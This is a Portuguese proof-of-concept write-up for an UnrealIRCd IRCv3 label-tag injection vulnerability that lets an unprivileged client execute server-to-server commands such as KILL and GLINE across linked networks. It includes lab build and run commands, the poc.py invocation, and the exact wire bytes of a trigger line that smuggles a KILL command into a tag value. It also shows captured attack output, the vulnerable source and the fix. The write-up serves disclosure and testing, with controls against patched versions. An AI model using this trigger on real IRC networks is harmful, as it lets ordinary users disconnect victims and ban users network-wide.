
POC para CVE-2026-114713 - injeção de label-tag do IRCv3 no UnrealIRCd, escalando uma mensagem de cliente sem privilégios para autoridade de comando servidor-a-servidor em redes com servidores interligados. Controles para a versão vulnerável 6.2.7 vs. a versão corrigida 6.2.7.1 incluídos.
O módulo labeled-response ecoa a message-tag "label" do IRCv3 fornecida pelo cliente
nas respostas sem escapar. Um valor de label contendo uma nova linha chega como o
escape de tag padrão do IRCv3 \n, que o servidor desescapa para um LF real e
então grava de volta em bruto. Quando a requisição rotulada é encaminhada para outro servidor
(um WHOIS <server> <nick> com dois parâmetros faz exatamente isso), a resposta atravessa
o link servidor-a-servidor carregando esse LF em bruto. O servidor receptor analisa uma
linha como duas, e a segunda linha - texto escolhido pelo atacante colado à resposta -
é executada como um comando enviado por seu par confiável. No IRC, uma mensagem vinda de um servidor
vinculado ignora as verificações de privilégio aplicadas aos clientes, então um usuário comum pode
executar KILL, GLINE e outros comandos exclusivos de servidor/IRCOp em toda a rede com uma única
mensagem de cliente. Corrigido em 6.2.7.1 e no hot-patch bundle-20261107; listado no KEV em
2026-11-13 e explorado ativamente.
bundle-20261107 em 6.0.0 - 6.2.7 (sem reinício)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N)Suba o laboratório (dois servidores vulneráveis vinculados em 127.0.0.1:6667/6668, a mesma topologia em 6.2.7.1, além de um controle de servidor único):
./setup/build-lab.sh # builds 6.2.7 + 6.2.7.1 from the official tarballs
./setup/boot-lab.sh # boots hub, leaf, single, fixed-hub, fixed-leaf
# or: docker compose up -d vuln-hub vuln-leaf vuln-single fixed-hub fixed-leaf
Dispare o gatilho (atacante e vítima na leaf, alvo do WHOIS no hub):
python3 poc.py --host 127.0.0.1 --port 6668 --hub-host 127.0.0.1 --hub-port 6667
--host/--port é a leaf à qual o atacante e a vítima se conectam; --hub-host/--hub-port
é o servidor remoto que contém o alvo do WHOIS; --whois-server é o nome usado no
WHOIS roteado. Controles: a mesma entrada contra a rede corrigida
(--port 6678 --hub-port 6677) e contra um único servidor
(--host 127.0.0.1 --port 6687 --single --whois-server single.example.net).
Aponte isto apenas para servidores IRC que você possui.
Execução do gatilho contra a rede vulnerável vinculada (captura bruta:
evidence/01-vulnerable-linked-network-trigger.txt). Primeiro a pré-verificação - o
mesmo KILL enviado diretamente é rejeitado, provando que o atacante não tem direitos de operador:
--- atk(attacker) raw traffic ---
KILL vic :direct-attempt
:leaf.example.net 481 atk :Permission Denied- You do not have the correct IRC operator privileges
Depois uma linha rotulada (escapes de tag mostrados como enviados no fio):
[*] trigger line (wire bytes): b'@label=p\\nKILL\\svic\\s:CVE-2026-114713 WHOIS hub.example.net wt\r\n'
O socket da vítima - encerrado por um comando atribuído ao SERVER remoto:
--- vic(kill-victim) raw traffic ---
:hub.example.net KILL vic :CVE-2026-114713 :hub.example.net BATCH atk +jTdPUODfTulRwVfhMYRD01 labeled-response
ERROR :Closing Link: vic[localhost] (Killed by hub.example.net (CVE-2026-114713 :hub.example.net BATCH atk +jTdPUODfTulRwVfhMYRD01 labeled-response))
[*] verdict
[!] VULNERABLE: victim 'vic' was killed by a command that arrived
attributed to the remote SERVER - authority no IRC user has.
O log do servidor no host da vítima identifica o assassino como um servidor
(evidence/04-server-log-detection.txt):
leaf.example.net kill.KILL_COMMAND info: Client killed: vic!vic@localhost [by: hub.example.net] (CVE-2026-114713 ...)
Controle A - mesma entrada na rede vinculada corrigida 6.2.7.1
(evidence/02-control-fixed-6.2.7.1-linked-network.txt): o valor do rótulo
contém uma nova linha, então a correção rejeita a tag inteira; os numéricos do WHOIS
voltam como linhas simples sem rótulo e a vítima permanece online:
:hub.example.net 311 atk wt wt Clk-BF919CEF * wt
:hub.example.net 318 atk wt :End of /WHOIS list.
[=] NO server-authority execution observed (victim still online).
Controle B - mesma entrada em um único servidor vulnerável, sem links
(evidence/03-control-single-server-precondition.txt): o rótulo não escapado é
apenas gravado de volta no próprio socket do atacante; nada é executado:
[=] CONTROL HOLDS (single-server): no server-authority command executed.
Três peças se alinham em src/modules/labeled-response.c:
Os valores de tag são desescapados no recebimento (message_tag_unescape() em
src/modules/message-tags.c mapeia os escapes IRCv3 \n \r \s \: para
LF/CR/espaço/ponto e vírgula reais). O cliente nunca envia uma nova linha bruta; o
servidor a fabrica a partir de dois bytes imprimíveis.
Na 6.2.7 o validador de tags aceita qualquer coisa que um cliente com cap envie até 64 bytes - não há verificação de caracteres no valor:
int labeled_response_mtag_is_ok(Client *client, const char *name, const char *value)
{
if (BadPtr(value))
return 0;
if (IsServer(client))
return 1;
...
if (strlen(value) <= 64)
return 1;
O módulo então formata esse valor armazenado em linhas de resposta com chamadas
snprintf brutas - gen_start_batch() constrói "@label=%s :%s BATCH +%s labeled-response", lr_post_command() builds "@label=%s%s%s" - contornando
message_tag_escape(), que todos os outros caminhos de saída usam. Para uma resposta
roteada a um cliente remoto com rótulo, lr_packet() grava este buffer no
link do servidor, então o LF dentro do rótulo divide o fluxo no par confiável:
a linha um é um segmento de tag @label=p curto e inofensivo, a linha dois é
o que quer que o atacante tenha anexado, executado como um comando do servidor
vinculado. O WHOIS de dois parâmetros é o veículo mais limpo porque encaminha
para o servidor do alvo e garante uma resposta com rótulo de volta pelo link.
A correção da 6.2.7.1 é exatamente a verificação ausente (primeiro trecho do diff da versão):
if (strpbrk(value, " ;\\\r\n"))
return 0;
Qualquer rótulo contendo espaço, ponto e vírgula, barra invertida, CR ou LF é descartado antes de ser armazenado, então nenhum byte não escapável chega ao formatador de resposta.